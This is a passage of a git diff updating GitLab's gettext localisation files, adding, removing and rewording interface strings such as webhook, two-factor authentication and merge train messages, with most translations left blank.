-msgid "To enable it and see User Cohorts, visit %{application_settings_link_start}application settings%{application_settings_link_end}."
-msgstr ""
-
msgid "To further protect your account, consider configuring a %{mfa_link_start}two-factor authentication%{mfa_link_end} method."
msgstr ""
@@ -25288,9 +25968,15 @@ msgstr ""
msgid "To unsubscribe from this issue, please paste the following link into your browser:"
msgstr ""
+msgid "To update Snippets with multiple files, you must use the `files` parameter"
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
msgstr ""
+msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
+msgstr ""
+
msgid "To view the roadmap, add a start or due date to one of your epics in this group or its subgroups. In the months view, only epics in the past month, current month, and next 5 months are shown."
msgstr ""
@@ -25312,9 +25998,6 @@ msgstr ""
msgid "Today"
msgstr ""
-msgid "Toggle Kubernetes cluster"
-msgstr ""
-
msgid "Toggle Markdown preview"
msgstr ""
@@ -25375,6 +26058,9 @@ msgstr ""
msgid "Toggles :%{name}: emoji award."
msgstr ""
+msgid "Token valid until revoked"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -25519,6 +26205,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger manual job"
+msgstr ""
+
msgid "Trigger pipelines for mirror updates"
msgstr ""
@@ -25588,9 +26277,18 @@ msgstr ""
msgid "Turn On"
msgstr ""
+msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
+msgstr ""
+
msgid "Turn on Service Desk"
msgstr ""
+msgid "Turn on usage ping"
+msgstr ""
+
+msgid "Turn on usage ping to review instance-level analytics."
+msgstr ""
+
msgid "Twitter"
msgstr ""
@@ -25606,10 +26304,22 @@ msgstr ""
msgid "Two-factor Authentication Recovery codes"
msgstr ""
-msgid "Two-factor Authentication has been disabled for this user"
+msgid "Two-factor authentication"
+msgstr ""
+
+msgid "Two-factor authentication disabled"
msgstr ""
-msgid "Two-factor authentication"
+msgid "Two-factor authentication has been disabled for this user"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for your GitLab account."
+msgstr ""
+
+msgid "Two-factor authentication has been disabled successfully!"
+msgstr ""
+
+msgid "Two-factor authentication is not enabled for this user"
msgstr ""
msgid "Type"
@@ -25792,7 +26502,7 @@ msgstr ""
msgid "Unlock the discussion"
msgstr ""
-msgid "Unlock this %{issuableDisplayName}? <strong>Everyone</strong> will be able to comment."
+msgid "Unlock this %{issuableDisplayName}? %{strongStart}Everyone%{strongEnd} will be able to comment."
msgstr ""
msgid "Unlocked"
@@ -25882,6 +26592,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused, previous index '%{index_name}' will be deleted after %{time} automatically."
+msgstr ""
+
msgid "Unverified"
msgstr ""
@@ -25963,9 +26676,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated at"
-msgstr ""
-
msgid "Updated to %{linkStart}chart v%{linkEnd}"
msgstr ""
@@ -25981,7 +26691,7 @@ msgstr ""
msgid "Upgrade your plan"
msgstr ""
-msgid "Upgrade your plan to activate Advanced Global Search."
+msgid "Upgrade your plan to activate Advanced Search."
msgstr ""
msgid "Upgrade your plan to activate Audit Events."
@@ -26056,7 +26766,7 @@ msgstr ""
msgid "Usage"
msgstr ""
-msgid "Usage ping is not enabled"
+msgid "Usage ping is off"
msgstr ""
msgid "Usage statistics"
@@ -26146,9 +26856,6 @@ msgstr ""
msgid "Use %{code_start}::%{code_end} to create a %{link_start}scoped label set%{link_end} (eg. %{code_start}priority::1%{code_end})"
msgstr ""
-msgid "Use %{native_redirect_uri} for local tests"
-msgstr ""
-
msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
msgstr ""
@@ -26200,9 +26907,6 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
-msgid "User Cohorts are only shown when the %{usage_ping_link_start}usage ping%{usage_ping_link_end} is enabled."
-msgstr ""
-
msgid "User IDs"
msgstr ""
@@ -26446,9 +27150,15 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
+msgid "Users requesting access to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
msgid "Users were successfully added."
msgstr ""
+msgid "Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "Users with a Guest role or those who don't belong to any projects or groups don't count towards seats in use."
msgstr ""
@@ -26482,6 +27192,9 @@ msgstr ""
msgid "Validate"
msgstr ""
+msgid "Validate your GitLab CI configuration"
+msgstr ""
+
msgid "Validate your GitLab CI configuration file"
msgstr ""
@@ -26518,6 +27231,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStream|The Default Value Stream cannot be deleted"
+msgstr ""
+
msgid "Variable"
msgstr ""
@@ -26560,6 +27276,12 @@ msgstr ""
msgid "Version"
msgstr ""
+msgid "Version %{versionNumber}"
+msgstr ""
+
+msgid "Version %{versionNumber} (latest)"
+msgstr ""
+
msgid "View Documentation"
msgstr ""
@@ -26760,6 +27482,9 @@ msgstr ""
msgid "Vulnerabilities over time"
msgstr ""
+msgid "Vulnerability Report"
+msgstr ""
+
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
@@ -26823,9 +27548,6 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong while trying to unlink the issue. Please try again later."
msgstr ""
-msgid "VulnerabilityManagement|Something went wrong, could not create an issue."
-msgstr ""
-
msgid "VulnerabilityManagement|Something went wrong, could not get user."
msgstr ""
@@ -26967,7 +27689,7 @@ msgstr ""
msgid "We sent you an email with reset password instructions"
msgstr ""
-msgid "We tried to automatically renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
+msgid "We tried to automatically renew your subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
msgstr ""
msgid "We want to be sure it is you, please confirm you are not a robot."
@@ -27012,6 +27734,90 @@ msgstr ""
msgid "Webhooks have moved. They can now be found under the Settings menu."
msgstr ""
+msgid "Webhooks|Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Issues events"
+msgstr ""
+
+msgid "Webhooks|Deployment events"
+msgstr ""
+
+msgid "Webhooks|Enable SSL verification"
+msgstr ""
+
+msgid "Webhooks|Issues events"
+msgstr ""
+
+msgid "Webhooks|Job events"
+msgstr ""
+
+msgid "Webhooks|Merge request events"
+msgstr ""
+
+msgid "Webhooks|Pipeline events"
+msgstr ""
+
+msgid "Webhooks|Push events"
+msgstr ""
+
+msgid "Webhooks|SSL verification"
+msgstr ""
+
+msgid "Webhooks|Secret Token"
+msgstr ""
+
+msgid "Webhooks|Tag push events"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered by a push to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a confidential issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a deployment is finished/failed/canceled"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a merge request is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a new tag is pushed to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a wiki page is created/updated"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when an issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment on a confidential issue"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the job status changes"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the pipeline status changes"
+msgstr ""
+
+msgid "Webhooks|Trigger"
+msgstr ""
+
+msgid "Webhooks|URL"
+msgstr ""
+
+msgid "Webhooks|Use this token to validate received payloads. It will be sent with the request in the X-Gitlab-Token HTTP header."
+msgstr ""
+
+msgid "Webhooks|Wiki Page events"
+msgstr ""
+
msgid "Wednesday"
msgstr ""
@@ -27033,21 +27839,21 @@ msgstr ""
msgid "Welcome to GitLab"
msgstr ""
-msgid "Welcome to GitLab %{name}!"
+msgid "Welcome to GitLab%{br_tag}%{name}!"
msgstr ""
msgid "Welcome to GitLab, %{first_name}!"
msgstr ""
-msgid "Welcome to GitLab.com%{br_tag}@%{name}!"
-msgstr ""
-
msgid "Welcome to the guided GitLab tour"
msgstr ""
msgid "Welcome to your Issue Board!"
msgstr ""
+msgid "Welcome to your issue board!"
+msgstr ""
+
msgid "We’ve been making changes to %{featureName} and we’d love your feedback %{linkStart}in this issue%{linkEnd} to help us improve the experience."
msgstr ""
@@ -27057,6 +27863,9 @@ msgstr ""
msgid "What describes you best?"
msgstr ""
+msgid "What's new at GitLab"
+msgstr ""
+
msgid "What’s your experience level?"
msgstr ""
@@ -27373,10 +28182,10 @@ msgstr ""
msgid "You are connected to the Prometheus server, but there is currently no data to display."
msgstr ""
-msgid "You are going to remove %{group_name}, this will also remove all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to delete %{project_full_name}. Deleted projects CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
-msgid "You are going to remove %{project_full_name}. Removed project CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to remove %{group_name}, this will also delete all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
msgid "You are going to remove the fork relationship from %{project_full_name}. Are you ABSOLUTELY sure?"
@@ -27385,6 +28194,12 @@ msgstr ""
msgid "You are going to transfer %{project_full_name} to another owner. Are you ABSOLUTELY sure?"
msgstr ""
+msgid "You are going to turn off the confidentiality. This means %{strongStart}everyone%{strongEnd} will be able to see and leave a comment on this %{issuableType}."
+msgstr ""
+
+msgid "You are going to turn on the confidentiality. This means that only team members with %{strongStart}at least Reporter access%{strongEnd} are able to see and leave comments on the %{issuableType}."
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -27394,6 +28209,9 @@ msgstr ""
msgid "You are not authorized to perform this action"
msgstr ""
+msgid "You are not authorized to update this scanner profile"
+msgstr ""
+
msgid "You are now impersonating %{username}"
msgstr ""
@@ -27430,9 +28248,6 @@ msgstr ""
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
-msgid "You can also use project access tokens to authenticate against Git over HTTP."
-msgstr ""
-
msgid "You can always edit this later"
msgstr ""
@@ -27466,13 +28281,13 @@ msgstr ""
msgid "You can get started by cloning the repository or start adding files to it with one of the following options."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong> or invite another group."
+msgid "You can invite a new member to %{project_name} or invite another group."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong>."
+msgid "You can invite a new member to %{project_name}."
msgstr ""
-msgid "You can invite another group to <strong>%{project_name}</strong>."
+msgid "You can invite another group to %{project_name}."
msgstr ""
msgid "You can move around the graph by using the arrow keys."
@@ -27556,10 +28371,10 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
+msgid "You didn't renew your subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription so it was downgraded to the GitLab Core Plan."
+msgid "You didn't renew your subscription so it was downgraded to the GitLab Core Plan."
msgstr ""
msgid "You do not have an active license"
@@ -27772,6 +28587,9 @@ msgstr ""
msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
msgstr ""
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "You'll be signed out from your current account automatically."
msgstr ""
@@ -27847,7 +28665,7 @@ msgstr ""
msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
msgstr ""
-msgid "Your DevOps Score gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
+msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -27964,6 +28782,9 @@ msgstr ""
msgid "Your instance has %{remaining_user_count} users remaining of the %{total_user_count} included in your subscription. You can add more users than the number included in your license, and we will include the overage in your next bill."
msgstr ""
+msgid "Your instance has exceeded your subscription's licensed user count."
+msgstr ""
+
msgid "Your instance is approaching its licensed user count"
msgstr ""
@@ -28091,6 +28912,9 @@ msgstr ""
msgid "among other things"
msgstr ""
+msgid "and"
+msgstr ""
+
msgid "any-approver for the merge request already exists"
msgstr ""
@@ -28392,12 +29216,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "confidentiality|You are going to turn off the confidentiality. This means <strong>everyone</strong> will be able to see and leave a comment on this issue."
-msgstr ""
-
-msgid "confidentiality|You are going to turn on the confidentiality. This means that only team members with <strong>at least Reporter access</strong> are able to see and leave comments on the issue."
-msgstr ""
-
msgid "connecting"
msgstr ""
@@ -28551,6 +29369,10 @@ msgstr ""
msgid "from"
msgstr ""
+msgid "from %d job"
+msgid_plural "from %d jobs"
+msgstr[0] ""
+
msgid "group"
msgstr ""
@@ -28596,9 +29418,6 @@ msgstr ""
msgid "in project %{link_to_project}"
msgstr ""
-msgid "index"
-msgstr ""
-
msgid "instance completed"
msgid_plural "instances completed"
msgstr[0] ""
@@ -28639,6 +29458,9 @@ msgstr ""
msgid "is not allowed. Try again with a different email address, or contact your GitLab admin."
msgstr ""
+msgid "is not allowed. We do not currently support project-level iterations"
+msgstr ""
+
msgid "is not an email you own"
msgstr ""
@@ -28787,9 +29609,15 @@ msgstr ""
msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
msgstr ""
+msgid "mrWidget|A new merge train has started and this merge request is the first of the queue."
+msgstr ""
+
msgid "mrWidget|Added to the merge train by"
msgstr ""
+msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
+msgstr ""
+
msgid "mrWidget|Allows commits from members who can merge to the target branch"
msgstr ""
@@ -28802,6 +29630,9 @@ msgstr ""
msgid "mrWidget|An error occurred while submitting your approval."
msgstr ""
+msgid "mrWidget|Approval is optional"
+msgstr ""
+
msgid "mrWidget|Approval password is invalid."
msgstr ""
@@ -28874,9 +29705,6 @@ msgstr ""
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
-msgid "mrWidget|In the merge train at position %{mergeTrainPosition}"
-msgstr ""
-
msgid "mrWidget|Jump to first unresolved thread"
msgstr ""
@@ -28910,12 +29738,6 @@ msgstr ""
msgid "mrWidget|More information"
msgstr ""
-msgid "mrWidget|No approval required"
-msgstr ""
-
-msgid "mrWidget|No approval required; you can still approve"
-msgstr ""
-
msgid "mrWidget|Open in Web IDE"
msgstr ""
@@ -28997,19 +29819,19 @@ msgstr ""
msgid "mrWidget|There are merge conflicts"
msgstr ""
-msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
+msgid "mrWidget|This action will add the merge request to the merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|This action will start a merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request is in the process of being merged"
+msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
msgstr ""
-msgid "mrWidget|This merge request will be added to the merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|This merge request will start a merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request is in the process of being merged"
msgstr ""
msgid "mrWidget|This project is archived, write access has been disabled"
@@ -29217,6 +30039,9 @@ msgstr ""
msgid "quick actions"
msgstr ""
+msgid "recent activity"
+msgstr ""
+
msgid "register"
msgstr ""
@@ -29260,9 +30085,6 @@ msgstr ""
msgid "satisfied"
msgstr ""
-msgid "score"
-msgstr ""
-
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -29380,6 +30202,9 @@ msgstr ""
msgid "this document"
msgstr ""
+msgid "time summary"
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -29398,6 +30223,9 @@ msgstr ""
msgid "triggered"
msgstr ""
+msgid "two-factor authentication settings"
+msgstr ""
+
msgid "unicode domains should use IDNA encoding"
msgstr ""
@@ -29461,6 +30289,9 @@ msgstr ""
msgid "vulnerability|Add comment & dismiss"
msgstr ""
+msgid "vulnerability|Add comment and dismiss"
+msgstr ""
+
msgid "vulnerability|Dismiss vulnerability"
msgstr ""
diff --git a/locale/bg/gitlab.po b/locale/bg/gitlab.po
index 680c022e75f..f7e1994c42e 100644
--- a/locale/bg/gitlab.po
+++ b/locale/bg/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: bg\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-08-06 13:44\n"
+"PO-Revision-Date: 2020-09-04 23:07\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -56,13 +56,13 @@ msgstr[1] ""
msgid " or "
msgstr ""
-msgid " or <!merge request id>"
+msgid " or %{emphasisStart}!merge request id%{emphasisEnd}"
msgstr ""
-msgid " or <#issue id>"
+msgid " or %{emphasisStart}#issue id%{emphasisEnd}"
msgstr ""
-msgid " or <&epic id>"
+msgid " or %{emphasisStart}&epic id%{emphasisEnd}"
msgstr ""
msgid " or references (e.g. path/to/project!merge_request_id)"
@@ -71,6 +71,9 @@ msgstr ""
msgid "\"%{path}\" did not exist on \"%{ref}\""
msgstr ""
+msgid "\"el\" parameter is required for createInstance()"
+msgstr ""
+
msgid "%d Scanned URL"
msgid_plural "%d Scanned URLs"
msgstr[0] ""
@@ -297,6 +300,9 @@ msgstr[1] "%s Ð¿Ð¾Ð´Ð°Ð²Ð°Ð½Ð¸Ñ Ð±Ñха пропуÑнати, за да не Ñ
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr ""
+msgid "%{address} is an invalid IP address range"
+msgstr ""
+
msgid "%{author_link} wrote:"
msgstr ""
@@ -333,6 +339,9 @@ msgstr ""
msgid "%{cores} cores"
msgstr ""
+msgid "%{count} %{scope} for term '%{term}'"
+msgstr ""
+
msgid "%{count} LOC/commit"
msgstr ""
@@ -389,6 +398,9 @@ msgstr ""
msgid "%{description}- Sentry event: %{errorUrl}- First seen: %{firstSeen}- Last seen: %{lastSeen} %{countLabel}: %{count}%{userCountLabel}: %{userCount}"
msgstr ""
+msgid "%{due_date} (Past due)"
+msgstr ""
+
msgid "%{duration}ms"
msgstr ""
@@ -416,7 +428,7 @@ msgstr ""
msgid "%{firstMilestoneName} + %{numberOfOtherMilestones} more"
msgstr ""
-msgid "%{global_id} is not a valid id for %{expected_type}."
+msgid "%{global_id} is not a valid ID for %{expected_type}."
msgstr ""
msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
@@ -503,9 +515,6 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{lineOneStart}Drag and drop to upload your designs%{lineOneEnd} or %{linkStart}click to upload%{linkEnd}."
-msgstr ""
-
msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
@@ -524,6 +533,9 @@ msgstr ""
msgid "%{loadingIcon} Started"
msgstr ""
+msgid "%{location} is missing required keys: %{keys}"
+msgstr ""
+
msgid "%{lock_path} is locked by GitLab User %{lock_user_id}"
msgstr ""
@@ -533,6 +545,18 @@ msgstr ""
msgid "%{mergeLength}/%{usersLength} can merge"
msgstr ""
+msgid "%{message} showing first %{warnings_displayed}"
+msgstr ""
+
+msgid "%{milestone_name} (Past due)"
+msgstr ""
+
+msgid "%{milestone} (expired)"
+msgstr ""
+
+msgid "%{milliseconds}ms"
+msgstr ""
+
msgid "%{mrText}, this issue will be closed automatically."
msgstr ""
@@ -645,6 +669,9 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}"
msgstr ""
+msgid "%{seconds}s"
+msgstr ""
+
msgid "%{securityScanner} is not enabled for this project. %{linkStart}More information%{linkEnd}"
msgid_plural "%{securityScanner} are not enabled for this project. %{linkStart}More information%{linkEnd}"
msgstr[0] ""
@@ -670,6 +697,9 @@ msgstr ""
msgid "%{size} bytes"
msgstr ""
+msgid "%{sourceBranch} into %{targetBranch}"
+msgstr ""
+
msgid "%{spammable_titlecase} was submitted to Akismet successfully."
msgstr ""
@@ -685,6 +715,9 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
+msgid "%{strongStart}Deletes%{strongEnd} source branch"
+msgstr ""
+
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
@@ -758,6 +791,9 @@ msgstr ""
msgid "%{totalWeight} total weight"
msgstr ""
+msgid "%{total_warnings} warning(s) found:"
+msgstr ""
+
msgid "%{total} open issue weight"
msgstr ""
@@ -791,6 +827,9 @@ msgstr ""
msgid "%{webhooks_link_start}%{webhook_type}%{link_end} enable you to send notifications to web applications in response to events in a group or project. We recommend using an %{integrations_link_start}integration%{link_end} in preference to a webhook."
msgstr ""
+msgid "&lt; 1 hour"
+msgstr ""
+
msgid "&lt;no name set&gt;"
msgstr ""
@@ -800,7 +839,22 @@ msgstr ""
msgid "&lt;project name&gt;"
msgstr ""
-msgid "'%{data}' is invalid at '%{data_pointer}'. Should be '%{schema}' due to schema definition at '%{schema_pointer}'"
+msgid "'%{data}' at %{location} does not match format: %{format}"
+msgstr ""
+
+msgid "'%{data}' at %{location} does not match pattern: %{pattern}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is invalid: error_type=%{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not of type: %{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not one of: %{enum}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not: %{const}"
msgstr ""
msgid "'%{level}' is not a valid visibility level"
@@ -844,6 +898,9 @@ msgstr ""
msgid "(line: %{startLine})"
msgstr ""
+msgid "(max size 15 MB)"
+msgstr ""
+
msgid "(removed)"
msgstr ""
@@ -1042,15 +1099,6 @@ msgstr ""
msgid ":%{startLine} to %{endLine}"
msgstr ""
-msgid "< 1 hour"
-msgstr ""
-
-msgid "<project name>"
-msgstr ""
-
-msgid "<strong>Deletes</strong> source branch"
-msgstr ""
-
msgid "A 'Runner' is a process which runs a job. You can set up as many Runners as you need."
msgstr ""
@@ -1114,7 +1162,7 @@ msgstr ""
msgid "A merge request approval is required when a security report contains a new vulnerability of high, critical, or unknown severity."
msgstr ""
-msgid "A merge request approval is required when the license compliance report contains a blacklisted license."
+msgid "A merge request approval is required when the license compliance report contains a denied license."
msgstr ""
msgid "A new Auto DevOps pipeline has been created, go to %{pipelines_link_start}Pipelines page%{pipelines_link_end} for details"
@@ -1132,6 +1180,9 @@ msgstr ""
msgid "A new impersonation token has been created."
msgstr ""
+msgid "A non-confidential epic cannot be assigned to a confidential parent epic"
+msgstr ""
+
msgid "A plain HTML site that uses Netlify for CI/CD instead of GitLab, but still with all the other great GitLab features."
msgstr ""
@@ -1234,6 +1285,9 @@ msgstr ""
msgid "Access forbidden. Check your access level."
msgstr ""
+msgid "Access requests"
+msgstr ""
+
msgid "Access to '%{classification_label}' not allowed"
msgstr ""
@@ -1345,6 +1399,9 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
+msgid "Activate user activity analysis"
+msgstr ""
+
msgid "Active"
msgstr "Ðктивно"
@@ -1377,12 +1434,6 @@ msgstr[1] ""
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
-msgid "Add .gitlab-ci.yml to enable or configure SAST"
-msgstr ""
-
-msgid "Add .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
-msgstr ""
-
msgid "Add CHANGELOG"
msgstr ""
@@ -1497,6 +1548,9 @@ msgstr ""
msgid "Add comment now"
msgstr ""
+msgid "Add comment to design"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1509,6 +1563,9 @@ msgstr ""
msgid "Add environment"
msgstr ""
+msgid "Add existing confidential %{issuableType}"
+msgstr ""
+
msgid "Add header and footer to emails. Please note that color settings will only be applied within the application interface"
msgstr ""
@@ -1521,6 +1578,9 @@ msgstr ""
msgid "Add italic text"
msgstr ""
+msgid "Add key"
+msgstr ""
+
msgid "Add label(s)"
msgstr ""
@@ -1800,6 +1860,9 @@ msgstr ""
msgid "AdminSettings|Select a template"
msgstr ""
+msgid "AdminSettings|Service Templates will soon be deprecated."
+msgstr ""
+
msgid "AdminSettings|Service template allows you to set default values for integrations"
msgstr ""
@@ -1815,6 +1878,9 @@ msgstr ""
msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
msgstr ""
+msgid "AdminSettings|Try using the latest version of Integrations instead."
+msgstr ""
+
msgid "AdminSettings|When creating a new environment variable it will be protected by default."
msgstr ""
@@ -2042,6 +2108,9 @@ msgstr[1] ""
msgid "AlertManagement|Acknowledged"
msgstr ""
+msgid "AlertManagement|Activity feed"
+msgstr ""
+
msgid "AlertManagement|Alert"
msgstr ""
@@ -2072,7 +2141,7 @@ msgstr ""
msgid "AlertManagement|Authorize external service"
msgstr ""
-msgid "AlertManagement|Create issue"
+msgid "AlertManagement|Create incident"
msgstr ""
msgid "AlertManagement|Critical"
@@ -2129,9 +2198,6 @@ msgstr ""
msgid "AlertManagement|Opsgenie is enabled"
msgstr ""
-msgid "AlertManagement|Overview"
-msgstr ""
-
msgid "AlertManagement|Please try again."
msgstr ""
@@ -2144,6 +2210,9 @@ msgstr ""
msgid "AlertManagement|Resolved"
msgstr ""
+msgid "AlertManagement|Runbook"
+msgstr ""
+
msgid "AlertManagement|Service"
msgstr ""
@@ -2186,16 +2255,13 @@ msgstr ""
msgid "AlertManagement|Triggered"
msgstr ""
-msgid "AlertManagement|Unassigned"
-msgstr ""
-
msgid "AlertManagement|Unknown"
msgstr ""
msgid "AlertManagement|View alerts in Opsgenie"
msgstr ""
-msgid "AlertManagement|View issue"
+msgid "AlertManagement|View incident"
msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
@@ -2225,7 +2291,7 @@ msgstr ""
msgid "AlertSettings|Authorization key"
msgstr ""
-msgid "AlertSettings|Authorization key has been successfully reset"
+msgid "AlertSettings|Authorization key has been successfully reset. Please save your changes now."
msgstr ""
msgid "AlertSettings|Copy"
@@ -2324,6 +2390,9 @@ msgstr ""
msgid "All environments"
msgstr ""
+msgid "All epics"
+msgstr ""
+
msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
msgstr ""
@@ -2471,6 +2540,9 @@ msgstr ""
msgid "An %{link_start}alert%{link_end} with the same fingerprint is already open. To change the status of this alert, resolve the linked alert."
msgstr ""
+msgid "An administrator changed the password for your GitLab account on %{link_to}."
+msgstr ""
+
msgid "An alert has been triggered in %{project_path}."
msgstr ""
@@ -2537,6 +2609,9 @@ msgstr ""
msgid "An error occurred while committing your changes."
msgstr ""
+msgid "An error occurred while creating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while decoding the file."
msgstr ""
@@ -2609,9 +2684,18 @@ msgstr ""
msgid "An error occurred while fetching the Service Desk address."
msgstr ""
+msgid "An error occurred while fetching the board issues. Please reload the page."
+msgstr ""
+
+msgid "An error occurred while fetching the board lists. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
+msgid "An error occurred while fetching the board swimlanes. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the builds."
msgstr ""
@@ -2753,13 +2837,16 @@ msgstr ""
msgid "An error occurred while retrieving diff"
msgstr ""
-msgid "An error occurred while saving LDAP override status. Please try again."
+msgid "An error occurred while retrieving diff files"
msgstr ""
-msgid "An error occurred while saving assignees"
+msgid "An error occurred while retrieving projects."
msgstr ""
-msgid "An error occurred while saving the approval settings"
+msgid "An error occurred while saving LDAP override status. Please try again."
+msgstr ""
+
+msgid "An error occurred while saving assignees"
msgstr ""
msgid "An error occurred while saving the template. Please check if the template exists."
@@ -2786,12 +2873,18 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr ""
+msgid "An error occurred while updating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
msgid "An error occurred while validating username"
msgstr ""
+msgid "An error occurred. Please sign in again."
